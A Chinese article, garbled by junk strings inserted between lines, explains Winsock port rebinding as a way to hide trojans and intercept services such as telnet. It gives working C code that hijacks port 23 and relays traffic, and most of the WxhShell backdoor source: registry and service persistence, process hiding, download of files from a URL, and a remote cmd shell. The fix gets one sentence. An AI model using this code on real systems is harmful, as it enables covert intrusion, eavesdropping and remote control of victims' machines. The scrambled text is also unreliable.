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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^"w.v' sL s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %Km_Sy[7'] dkV%Pyj saddr.sin_family = AF_INET; n\2VrUQ)M (u]ajT saddr.sin_addr.s_addr = htonl(INADDR_ANY); Bc4{$sc"O xNNoB/DR bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uTRa]D_q 's{-1aW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h(;qnV'c hfY
Ieb#91 这意味着什么?意味着可以进行如下的攻击: ? OBe!NDf ^i{B8]2, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %*.;3;m ^g,[#Rh 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F<?e79},` I `44}oJ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XM/P2=; TJ9,c2d+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 AWLKve_ B{ NKDkDH 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 FhB^E$r% Vgs( feGs 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JF*JFOb O0xL;@rBe 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g 1\4Jb u[U~`*i*rA #include do{#y*B/g! #include 8w|j Z@ #include G'(
%8\ #include >taS<.G DWORD WINAPI ClientThread(LPVOID lpParam); pBt/vS ad int main() \n850PS { $JTy`g0>x WORD wVersionRequested; n@BE*I<" DWORD ret; oKTIoTb WSADATA wsaData; _QtqQ~f BOOL val; uNnwz%w SOCKADDR_IN saddr; Iz2K SOCKADDR_IN scaddr; ewgcpV|spn int err; @2
dp5 SOCKET s; rsfA.o SOCKET sc; K0]'v>AWr int caddsize; OgrUP HANDLE mt; ;T6^cS{ Gj DWORD tid; Cc]s94 wVersionRequested = MAKEWORD( 2, 2 ); ~}4o=O( err = WSAStartup( wVersionRequested, &wsaData ); ^ h^2='p if ( err != 0 ) { f?F
i{m printf("error!WSAStartup failed!\n"); 8'*z>1ZS5 return -1; Z`"UT#^SI } ,ewg3mYHC& saddr.sin_family = AF_INET; }se)=7d8
Z dv%gmUUf}k //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~GfcI:Zz& /,5`#Gte_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2 <&- saddr.sin_port = htons(23); eEn_aX if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bm1ngI1oI { V#!ypX]AB[ printf("error!socket failed!\n"); Ii*v(`2b return -1; )?pin|_x } N{/q
p val = TRUE; X3]E8)645N //SO_REUSEADDR选项就是可以实现端口重绑定的 ok'0Byo if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )1j~(C)E8 { }QncTw0 printf("error!setsockopt failed!\n"); 5"y
p|Yl return -1; S#+G?I3w } K4n1#]8i //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5];
8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;k7` ` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]Vl5v5_ qPE(Lt1 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VR_+/,~ { 7^KQQ([ ret=GetLastError(); $EviGZFAaR printf("error!bind failed!\n"); ; Z61|@Y return -1; ]-%ZN+ } ]rn!+z listen(s,2); lIzJO$8cM while(1) w}NgFrL { A
i9*w?C caddsize = sizeof(scaddr); K;6K!6J:[ //接受连接请求 tb/u@}") sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *&UVr if(sc!=INVALID_SOCKET) y%TR2CvT { Jkm\{; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <l wI| < if(mt==NULL) I6y&6g { RO wbzA)]r printf("Thread Creat Failed!\n"); "XC6 l4Z break; H
gNUr5p } h#]}J}si } <mY`<(bc CloseHandle(mt); <?qmB}Y } J-?\,N1R7 closesocket(s); N>ct`a)BD/ WSACleanup(); z8Dn<h return 0; m3_e]v3{o } f[.hN DWORD WINAPI ClientThread(LPVOID lpParam) W]2;5`MM { .[1A SOCKET ss = (SOCKET)lpParam; Q=PaTh
SOCKET sc; 7U.g4x|< unsigned char buf[4096]; N%r}0 SOCKADDR_IN saddr; 7=QV ^G long num; D<++6HN DWORD val; Mh+'f 93 DWORD ret; ~O1*] //如果是隐藏端口应用的话,可以在此处加一些判断 0^E!P> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 QwT]|
6> saddr.sin_family = AF_INET; qZ\zsOnp saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~d5"<`<^o saddr.sin_port = htons(23); _\]D<\St if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z(\H.P# { y\0^c5} printf("error!socket failed!\n"); t_]UseP$RF return -1; CdaB.xk } /mD KQ< val = 100; (sqS(xIY if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )&dhE^
O { d}l^yln ret = GetLastError(); !+hX$_RT return -1; VpVw:Rh> } ['R=@. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hLm9"N'Pf { M0]l!x#7 ret = GetLastError(); 6J|f^W-fs return -1; KG3*~G } =JVRm
2#* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =dA T^e## { (ZEVbAY?i printf("error!socket connect failed!\n"); 2{V| closesocket(sc); VsZ_So; closesocket(ss); 3&y
u return -1; 3@"VS_;? } --^D)n while(1) rXm!3E6JL { }?fa+FQGp //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~36c0 = //如果是嗅探内容的话,可以再此处进行内容分析和记录 KFfwZkj{ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wj'iU&aca num = recv(ss,buf,4096,0); 4l$8lYi if(num>0) \3LD^[qi send(sc,buf,num,0); qyJpm{ else if(num==0) +z[!]^H]4 break; l&|{uk num = recv(sc,buf,4096,0); !k s<VJh if(num>0) teB{GR send(ss,buf,num,0); _b5iR<f else if(num==0) @H_LPn break; zcZw} } ,@!d%rL:4] closesocket(ss); S~TJF}[k^6 closesocket(sc); P)\f\yb return 0 ; 3\WES! } RsOK5XnQn "LxJPt\ }jk^M|Z"Oz ========================================================== >{??/fBd- {(q Un 下边附上一个代码,,WXhSHELL qt:->yiq+ Wey\GQ`"8 ========================================================== _$cBI_eA7 HkV/+ {;S~ #include "stdafx.h" ]Aluk|"`U n=>Gu9` #include <stdio.h> xeH#)QJt #include <string.h> 3AL.UBj&} #include <windows.h> '9[_w$~( #include <winsock2.h> y]+A7| #include <winsvc.h> GbE3:;JI #include <urlmon.h> vOj$-A--qU d{trO;%#f #pragma comment (lib, "Ws2_32.lib") LtU+w*Gj #pragma comment (lib, "urlmon.lib") 7,4x7! Rd$<R #define MAX_USER 100 // 最大客户端连接数 <'B^z0I, #define BUF_SOCK 200 // sock buffer Bf}_ Jw-= #define KEY_BUFF 255 // 输入 buffer A+l" s-ou ;S3s #define REBOOT 0 // 重启 A^Zs?<C- #define SHUTDOWN 1 // 关机 zc{C+:3$^ "D/ fB%h` #define DEF_PORT 5000 // 监听端口 8`~]9ej Tc*PDt0C #define REG_LEN 16 // 注册表键长度 <f*0 XJ# #define SVC_LEN 80 // NT服务名长度 qXF"1f_+ Fi`:G} // 从dll定义API M@K[i*e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5a~1RL typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I|5OCTu typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); onlyvH4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /PCQv_Y&,/ yh)q96m-V= // wxhshell配置信息 o&O!Ur struct WSCFG { x V e! int ws_port; // 监听端口 CP'-CQ\Q char ws_passstr[REG_LEN]; // 口令 7.t$#fzi int ws_autoins; // 安装标记, 1=yes 0=no wf4Q}l2,d char ws_regname[REG_LEN]; // 注册表键名 F)IP~BE-k char ws_svcname[REG_LEN]; // 服务名 L; ~=( char ws_svcdisp[SVC_LEN]; // 服务显示名 @e7+d@O< char ws_svcdesc[SVC_LEN]; // 服务描述信息 IviWS84 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pm_= int ws_downexe; // 下载执行标记, 1=yes 0=no 21[F%,{.), char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" IW#(ICeb char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x'qgpG}?] '$zFGq
}} }; hMQaT-v <b\urtoJ // default Wxhshell configuration MI }D%n* struct WSCFG wscfg={DEF_PORT, |H4'*NP" "xuhuanlingzhe", ^PI49iB 1, 9s)oC$\ "Wxhshell", `jHGNi "Wxhshell", fjFy$NX&> "WxhShell Service", =jN]ckn "Wrsky Windows CmdShell Service", 'zb7:[[7% "Please Input Your Password: ", a?kQ2<@g 1, \);rOqh " http://www.wrsky.com/wxhshell.exe", X@)lPr$a "Wxhshell.exe" 2$91+N*w9 }; 1rEP)66N Xwi&uyvU& // 消息定义模块 TG9)x|! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p1nA7;B-m char *msg_ws_prompt="\n\r? for help\n\r#>"; 2&m7pcls char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; L7- nPH char *msg_ws_ext="\n\rExit."; nM`) `!/ char *msg_ws_end="\n\rQuit."; -ZB"Yg$l char *msg_ws_boot="\n\rReboot..."; Exr7vL char *msg_ws_poff="\n\rShutdown..."; :9b RuUm char *msg_ws_down="\n\rSave to "; >g&`g}xZQ +*V;
f, char *msg_ws_err="\n\rErr!"; 7yp*I[1Qf> char *msg_ws_ok="\n\rOK!"; $#r(1 Ev +0 MKh char ExeFile[MAX_PATH]; Sx2j~(pOr int nUser = 0; IoA;q) HANDLE handles[MAX_USER]; BR2y1Hfi int OsIsNt; J.nq[/Q= : [y(<TLw SERVICE_STATUS serviceStatus; )VT/kIq-U SERVICE_STATUS_HANDLE hServiceStatusHandle; {/<& (=j!P* // 函数声明 w^gh&E int Install(void); pQNFH)=nw int Uninstall(void); o__q)"^~- int DownloadFile(char *sURL, SOCKET wsh); L
~w=O! int Boot(int flag); 6{'6_4;Fv( void HideProc(void); 2XHk}M| int GetOsVer(void); ja/[PHq" int Wxhshell(SOCKET wsl); T8-$[
2 void TalkWithClient(void *cs); :3f2^(b~^ int CmdShell(SOCKET sock); &}O!l' int StartFromService(void); jvQ"cs$. int StartWxhshell(LPSTR lpCmdLine); }H=OVbQor (Y([^N q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,X^_w
g VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zi)b<tM
q a"}#HvB+ // 数据结构和表定义 AX+d? M SERVICE_TABLE_ENTRY DispatchTable[] = p0K;m% { ~\ f^L?m {wscfg.ws_svcname, NTServiceMain}, i7V~LO:gq {NULL, NULL} J|-HZ-Wk|J }; sFK<:ka DOe KW // 自我安装
y6}):| int Install(void) }=a4uCE { `Ny8u")= char svExeFile[MAX_PATH]; 2r,'4%G HKEY key; Gq/6{eRo\ strcpy(svExeFile,ExeFile); k5D'RD ;L2bC3 // 如果是win9x系统,修改注册表设为自启动 @'@6vC if(!OsIsNt) { SWpUVZyd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \BXVWE| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); or}*tSKX RegCloseKey(key); de9l;zF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p;$9W+H0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D}sGBsOW RegCloseKey(key); zF&UdS3 return 0; 5#.\pR{Gd } G4' U; } cg00t+ } Q/)ok$A& else { f)Q]{ cb6 'hO;sL // 如果是NT以上系统,安装为系统服务 `aL|qyrq# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w9$8t9$| if (schSCManager!=0) T+R I8.#o { 4iqmi<[(" SC_HANDLE schService = CreateService Z4ioXl ( k &iDJt schSCManager, MdZgS#` wscfg.ws_svcname, :)95 b fa. wscfg.ws_svcdisp, mwH!:f SERVICE_ALL_ACCESS, x9l0UD*+g SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mo[<4Uks SERVICE_AUTO_START, 2F@)nh SERVICE_ERROR_NORMAL, xc.D!Iav svExeFile, x}'4^Cv NULL, :xS&Y\ry NULL, siYRRr NULL, Y>Hl0$:= NULL, uhB!k-ir NULL n~u3 ); J+jmSK%z if (schService!=0) Cfo 8gX* { Lo5@zNt%W CloseServiceHandle(schService); y[6&46r7D CloseServiceHandle(schSCManager); jUvA<r strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L~y t AZ, strcat(svExeFile,wscfg.ws_svcname); 'h>5&=r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lc7a@qnw RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QhQ"OVFr# RegCloseKey(key); 'QojSq
return 0; > '
0 ][~ } nDB 2>J } wZ8 MhE CloseServiceHandle(schSCManager); "%''k~UD4 } &4&33D } .#55u+d, [Am`5&J return 1; |( 9#vt# } [Cj)@OC ?7MwTi8{F // 自我卸载 )9L pX int Uninstall(void) F4E3c4
81 { rjHIQC C HKEY key; uk[< 6oxz nIQ&gbfO if(!OsIsNt) { kgapTv>q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z<%g
#bo RegDeleteValue(key,wscfg.ws_regname); w&yGYHg RegCloseKey(key); "lz[zFnO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cPsn]U RegDeleteValue(key,wscfg.ws_regname); '&:1?i) RegCloseKey(key); {XD/8m(hN| return 0; 2FIR]@MQd } =lC;^&D-0/ } hMeqs+ } h@;)dLo0z else { 1i /::4= ~,*YmB=Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T<+ht8&M8 if (schSCManager!=0) 0w(T^GhZ {
[AZaT SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p&sK\ if (schService!=0) g:DTVq { #CA%]*l*F if(DeleteService(schService)!=0) { y(nsyA CloseServiceHandle(schService); VP%i1|XZJ CloseServiceHandle(schSCManager); %7 v@n+Q return 0; kg:
uGP9 } Fu4EEi CloseServiceHandle(schService); 5rml Aq } Cb{A:\>Q{ CloseServiceHandle(schSCManager); $HBT%g@UN } juMxl } tpa^k hB7pR"P return 1; xd|~+4 } !ASoXQRz g+ }s:9 // 从指定url下载文件 ;EJPrDHTk int DownloadFile(char *sURL, SOCKET wsh) aM{@1mBm { 8pk#sJ51 HRESULT hr; f(6UL31 char seps[]= "/"; 8wX+ZL:9 char *token; Z.:<TrN char *file; Q^lQi\[ char myURL[MAX_PATH]; kOAY@a char myFILE[MAX_PATH]; d]CviQUq 97Zk
P=Cq strcpy(myURL,sURL); Wm)-zvNY; token=strtok(myURL,seps); NFY|^*bll while(token!=NULL) L$lo~7<] { tS (i711 file=token; 6h2x~@ token=strtok(NULL,seps); t{Hh&HX } 9^PRX 22GnbA7O GetCurrentDirectory(MAX_PATH,myFILE); 4`8IFK strcat(myFILE, "\\"); to&N22a$ strcat(myFILE, file); \5Vp6^ send(wsh,myFILE,strlen(myFILE),0); %6A-OF send(wsh,"...",3,0); X'FEOF hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .]j#y9>&w% if(hr==S_OK) 7|QGY7Tf return 0; 5#0A`QO else 0R@g( return 1; #vj#! 1
crd|2bjp+ } _Z+jQFKJ\8 \Pl,'
1% // 系统电源模块 hdd>&?p3 int Boot(int flag) @PQrmn6w { S5~`T7Ra HANDLE hToken; ,!6M*| TOKEN_PRIVILEGES tkp; R:w%2Y ImWXzg3@{ if(OsIsNt) { EO#gUv OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); As@ihB+(\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b/sOfQ tkp.PrivilegeCount = 1; Ecxj9h,S tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {sC@N![ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T-9k<,>? if(flag==REBOOT) { |N:MZ#}; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dD/t_ {h return 0; {*QvC
g? } T?X^0UdJj else { $%g\YdC if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %Kh2E2Pe return 0; e'1 ^+*bU } Y*@|My`
} !8xKf*y else { zmf"I[) if(flag==REBOOT) {
3L%WVCB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,IIZXl@ return 0; i8Fs0U4" } 5<89Af&&K8 else { cMD RWh if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ia=_78MgZ return 0; k)`$%[K8 } !0Idp% } HEBqv+bG Z)mX,=p return 1; v9%nau4 } /Q?~Q0{)es dgS4w@)@V; // win9x进程隐藏模块 )xB$LJM8 void HideProc(void) dh&W;zs { =~J"kC Ovvny$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `Kh]x9Z if ( hKernel != NULL ) %_R$K#T^, { *(k%MTG pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }0QN[$H! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RcgRaQ2^ FreeLibrary(hKernel); {Q)dU-\ } su&t7rJ #G3` p!" return; kg<P t > } 6m9 7_NRO ql^g~b // 获取操作系统版本 /xcJo g~F, int GetOsVer(void) QhsMd-v { tXt:HVN OSVERSIONINFO winfo; 7))\'\
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -b
cG[W3 GetVersionEx(&winfo); \a"i7Caa if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oEJaH return 1; *p=fi else RI-A"cc6A return 0; 7_DG 5nT } D!oZ?dGCo6 i;c'P}[K // 客户端句柄模块 [|4}~UV
int Wxhshell(SOCKET wsl) AHwG<k { &i5:)d]L SOCKET wsh; Yp*,Jp1 struct sockaddr_in client; :
(gZgMT DWORD myID; YG4WS | Y
%K~w while(nUser<MAX_USER) R'SBd}1 { ,eDD:#)$} int nSize=sizeof(client); R:"+ #Sq wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z!=L if(wsh==INVALID_SOCKET) return 1; ;)?( 2
wP AH^e]<2- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dIk'pA^d if(handles[nUser]==0) 6mCq/$ closesocket(wsh); :G -1YA else F;u7A]H^ nUser++; F?z<xL@ } s2%V4yy% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8h|M!/&2 `mzb(bE return 0; 2{-!E ^g } Vo,[EVL Edw2W8 // 关闭 socket U/Wrh($ #4 void CloseIt(SOCKET wsh) -/>9c-F { "V4Q2T
T closesocket(wsh); vt.P*Z5 nUser--; }taLk@T ExitThread(0); Q"%S~' } qe$33f* j$Nf%V 6Y // 客户端请求句柄 (S|a 9# void TalkWithClient(void *cs) QdDObqVdy { 9~c~E/4! 1"?]= j: SOCKET wsh=(SOCKET)cs; >SoO4i8 char pwd[SVC_LEN]; /v|Onq1Y4 char cmd[KEY_BUFF]; _1
pDA char chr[1]; /Pvk),ca int i,j; :&qhJtGo N5?IpE while (nUser < MAX_USER) { llq*T"7 ,}0$Tv\1 if(wscfg.ws_passstr) { #{$1z;i?f if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &vkjmiAS //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CvK3H\.&;k //ZeroMemory(pwd,KEY_BUFF); qbiK^gR i=0; X4wH/q^ while(i<SVC_LEN) { (WRMaI72( Fu7M0X'p // 设置超时 6YmP[% fd_set FdRead; T|;@T^ struct timeval TimeOut; {~N3D4n^ FD_ZERO(&FdRead); H z@h0+h FD_SET(wsh,&FdRead); IkDiT63]I TimeOut.tv_sec=8; *KJB>W%@uM TimeOut.tv_usec=0; E9+ HS int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sWHyL(C@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Izn
T|l^ <sX VW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K]/Od pwd =chr[0]; h/2/vBs if(chr[0]==0xd || chr[0]==0xa) { rkDi+D6`q pwd=0; u7s"0f` break; +-BwQ{92[: } {6*#3m
Kk i++; l%~lz[ } yK1ie Nxk(mec" // 如果是非法用户,关闭 socket khx.yRx if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c.%.\al8oW } XF*.Jg] M;jcUX_{ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KjYAdia:H send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;3"@g]e VUtXxvH while(1) { 5u$ D/*
Eb &!L:"]=+ ZeroMemory(cmd,KEY_BUFF); P4k;O?y /_t|Dry015 // 自动支持客户端 telnet标准 $*f?&U]k j=0; pKT2^Q}-h while(j<KEY_BUFF) { ]Gv!M?: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ; s|w{.<: cmd[j]=chr[0]; eC! #CK if(chr[0]==0xa || chr[0]==0xd) { -*B`] cmd[j]=0; ?9mkRd}c break; ]~0}=,H$N } 5~'IKcW< j++; !eI2r } .cDOl_z<:G g/~XCC^F? // 下载文件 ~"K,7sw!Y if(strstr(cmd,"http://")) { O
o8qyW send(wsh,msg_ws_down,strlen(msg_ws_down),0); +=BAslk if(DownloadFile(cmd,wsh)) ;65D send(wsh,msg_ws_err,strlen(msg_ws_err),0); y(W|eBe else ZU{4lhe send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9GU]l7C=z } e6E?t[hEeS else { R>/NE!q xY<{qHcX switch(cmd[0]) { Vh|\ _~9 A+getdr // 帮助 2;2}wM[ case '?': { -e*ZCwQ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :E&g%'1 break; h-#1U3d } LP];x3 // 安装 "V&I^YSc> case 'i': { |[$~\MU if(Install()) x/
*-P
b-_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ZI'|Ad else ;# uZhd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5!X1G8h)uy break; O|kOI?f } 9?<{_' // 卸载 K`g7$r)U[ case 'r': { 3g~'5Ao if(Uninstall()) _S}A=hK' send(wsh,msg_ws_err,strlen(msg_ws_err),0); V~@^`Gd else , %9df+5k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z (?=Iv3 break; m
ci/'b Xt } -7
U|a/ // 显示 wxhshell 所在路径 oczG|_ case 'p': { `=lc<T^ char svExeFile[MAX_PATH]; "N?+VkZEv strcpy(svExeFile,"\n\r"); u #w29Pm strcat(svExeFile,ExeFile); (kv?33 send(wsh,svExeFile,strlen(svExeFile),0); _)T5lEFl= break; r|u MovnV } FRu]kZv2 // 重启 ' o_:^'c case 'b': { iB[~U3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LJ)5W if(Boot(REBOOT)) jho**TQ P send(wsh,msg_ws_err,strlen(msg_ws_err),0); Om;&_!i else { !%)F J:p closesocket(wsh); $D'-k]E[H ExitThread(0); BZ54*\t } {X(:jAy break; `-h8vj5uG } h:Gu`+D>W // 关机 @a:>$t case 'd': { ).^}AFta send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xG&)1sT#-\ if(Boot(SHUTDOWN)) eqw0]U\pv send(wsh,msg_ws_err,strlen(msg_ws_err),0); a`[uNgDO else { a2'^8;U*_ closesocket(wsh); L|P5=/d ExitThread(0); fk1ASV<rN } }XO K,Hw break; 0Z[oKXm1p } ]vWKR."4 // 获取shell VXIP0p@ case 's': { 9l,a^@Y: CmdShell(wsh); u!"t!2I closesocket(wsh); ~T&<CTh ExitThread(0); l&iq5}[n& break; (bsXo
q } n8*;lK8 // 退出 "j;4
k.`h case 'x': {
)M6w5g send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /x_o!<M CloseIt(wsh); S4=~`$eP break; )OiT{-m } b2b^1{@h;v // 离开 e/0<[s*#Q case 'q': { =R*qP ;# send(wsh,msg_ws_end,strlen(msg_ws_end),0); wr[, closesocket(wsh); \b%kf9 9 WSACleanup(); ^6_e=jIN
exit(1); UfN&v >8f break; KMI_zhyB } z!l.:F } .pvi!NnL- } LaQ-=;(` yKYTi3_( // 提示信息 ?c[*:N( if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o.0ci+z@ } WI?oSE w } u%w`:v7Yo( {&jb5-*f return; v?KC% } M$Zcn# A D6>HN[D" // shell模块句柄 T:5fc2Ngv int CmdShell(SOCKET sock) Z.92y { $2W%2rZ STARTUPINFO si; (p2K36,9m ZeroMemory(&si,sizeof(si)); UK<Nj<-'t si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zIh['^3.n si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T6 '`l?H`; PROCESS_INFORMATION ProcessInfo; bbrXgQ`s+w char cmdline[]="cmd"; c-B
cA CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9 FB19 return 0; WZ.@UN, } zuUW|r !o:f$6EA~C // 自身启动模式 D#3\y*-y? int StartFromService(void) 6@rMtQfI { XUz3*rfs typedef struct bD/~eIcWL { 3AU;>D ^5 DWORD ExitStatus; Kx>qz.wwI? DWORD PebBaseAddress; 9WyAb3d' DWORD AffinityMask; mIK7p6 DWORD BasePriority; L*YynF ULONG UniqueProcessId; a!=D [Gz*5 ULONG InheritedFromUniqueProcessId; BO;6
u^[ } PROCESS_BASIC_INFORMATION; ;7}VBkH Zl^\Q=*s PROCNTQSIP NtQueryInformationProcess; etTn_v u6AA4( static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `$ 6rz static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IZpP[hov vEJWFoeEFm HANDLE hProcess; vX/T3WV
